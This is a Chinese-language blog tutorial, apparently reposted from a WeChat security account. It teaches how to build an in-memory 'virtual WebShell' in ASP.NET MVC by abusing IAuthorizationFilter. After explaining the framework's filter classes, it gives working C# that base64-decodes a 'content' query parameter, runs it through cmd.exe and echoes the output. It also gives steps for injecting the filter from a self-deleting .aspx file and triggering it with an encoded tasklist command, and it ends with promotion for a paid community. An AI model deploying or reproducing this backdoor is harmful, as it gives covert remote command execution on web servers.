.NET实现虚拟WebShell第3课之IAuthorizationFilter
2022-9-27 09:0:52 Author: dotNet安全矩阵(查看原文) 阅读量:12 收藏

授权过滤器(IAuthorizationFilter)在认证过滤器(IAuthenticationFilter)之后,从命名来看AuthorizationFilter用于完成授权相关的工作,所以它应该在Action方法被调用之前执行才能起到授权的作用。不仅限于授权,如果我们希望目标Action方法被调用之前中断执行的流程“做点什么”,都可以以AuthorizationFilter的形式来实现

大致可以分为三步,后续文章里笔者还会继续简化和高效利用,目前先运行第1步访问 /dotnetofAuthenticationFilter.aspx 将虚拟文件注入到内存,并删除此文件;第2步打开新的浏览器标签页访问默认主页 /?content=dGFza2xpc3Q=也可以正常触发,记得tasklist需base编码。成功结果如下图

3.1 FilterAttribute

在MVC中所有的过滤器默认都继承了基础类FilterAttribute,如下面的代码片断所示,FilterAttribute特性实现了IMvcFilter接口,该接口定义了Order和AllowMultiple两个只读属性,分别用于控制筛选器的执行顺序以及多个同类的筛选器能够同时应用到同一个目标类或者方法。

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = false)]public abstract class FilterAttribute : Attribute, IMvcFilter    {        private static readonly ConcurrentDictionary<Type, bool> _multiuseAttributeCache = new ConcurrentDictionary<Type, bool>();        private int _order = -1;        public bool AllowMultiple => AllowsMultiple(GetType());        public int Order        {            get            {                return _order;            }            set            {                if (value < -1)                {                    throw new ArgumentOutOfRangeException("value", MvcResources.FilterAttribute_OrderOutOfRange);                }                _order = value;            }        }
private static bool AllowsMultiple(Type attributeType) { return _multiuseAttributeCache.GetOrAdd(attributeType, (Type type) => type.GetCustomAttributes(typeof(AttributeUsageAttribute), inherit: true).Cast<AttributeUsageAttribute>().First() .AllowMultiple); } }

从应用在FilterAttribute上的AttributeUsageAttribute的定义可以看出该特性可以应用在类型和方法上,这意味着筛选器一般都可以应用在Controller类型和Action方法上。只读属性AllowMultiple实际上返回的是AttributeUsageAttribute的同名属性,通过上面的定义我们可以看到默认情况下该属性值为False。 

3.2 OnAuthorization

在MVC中所有的AuthorizationFilter实现了接口IAuthorizationFilter。如下面的代码片断所示,IAuthorizationFilter定义了一个OnAuthorization方法用于实现授权的操作。作为该方法的参数filterContext是一个表示授权上下文的AuthorizationContext对象, 而AuthorizationContext直接继承自ControllerContext。

AuthorizationFilter的执行是进行Action执行的第一项工作,因为Action方法执行等操作只有在成功授权的基础上才会有意义,后续创建一个表示授权上下文的AuthorizationContext对象,然后将此AuthorizationContext对象作为参数,按照Filter对象Order和Scope属性决定的顺序执行所有AuthorizationFilter的OnAuthorization。

3.3 AuthorizeAttribute

微软MVC框架默认提供了AuthorizationFilter实现类AuthorizeAttribute,该类既继承了抽象类FilterAttribute又实现了IAuthorizationFilter接口,如果我们要求某个Action只能被认证的用户访问,可以在Controller类型或者Action方法上应用具有如下定义的AuthorizeAttribute特性。AuthorizeAttribute还可以具体限制目标Action可被访问的用户或者角色,它的Users和Roles属性用于指定被授权的用户名和角色列表,中间用采用逗号作为分隔符。如果没有显式地对Users和Roles属性进行设置,AuthorizeAttribute在进行授权操作的时候只要求访问者是被认证的用户。如下代码片段

public string Roles        {            get            {                return _roles ?? string.Empty;            }            set            {                _roles = value;                _rolesSplit = SplitString(value);            }        }                public string Users        {            get            {                return _users ?? string.Empty;            }            set            {                _users = value;                _usersSplit = SplitString(value);            }        }

如果授权失败(当前访问者是未被授权用户,或者当前用户的用户名或者角色没有在指定的授权用户或者角色列表中),AuthorizeAttribute会创建一个HttpUnauthorizedResult对象,并赋值给AuthorizationContext的Result属性,意味着会响应一个状态为“401,Unauthorized”的回复。如下图AuthorizeAttribute类里定义的OnAuthorization,里面包含用户Users和角色Roles属性,AuthorizeCore方法用来实现授权检查,HandleUnauthorizedRequest方法是当授权失败时处理的动作

下面笔者将改写OnAuthorization方法,首先我们在站点文件夹下添加一个名为 dotnetofAuthorizeFilter.aspx 的过滤器文件,创建MyAuthenticationFilter类继承 IAuthorizationFilter 接口,OnAuthorization方法内获取外部传入的base64数据,得到request对象后解码,另外为了具备命令执行后回显,使用StandardOutput.ReadToEnd读取命令执行后的所有返回数据,代码片段如下

if (content != null)            {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = new Process();                p.StartInfo.FileName = "cmd.exe";                p.StartInfo.Arguments = "/c " + System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(content));                 p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardOutput = true;                p.StartInfo.RedirectStandardError = true;                p.Start();                byte[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");                response.End();            }

.NET MVC下还有很多这样的过滤器可以被用来实现虚拟Webshell,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展星球提供50元代金劵,师傅们先到先得噢!扫描星球亮点里的二维码即可加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247486460&idx=1&sn=b20b3bdfd4ba34c5ad554b548494b66d&chksm=fa5aa511cd2d2c076da72fecf29fb4ee3df64e5d851eba69b25c0d5f4a906387a8600aa7309c#rd
如有侵权请联系:admin#unsafe.sh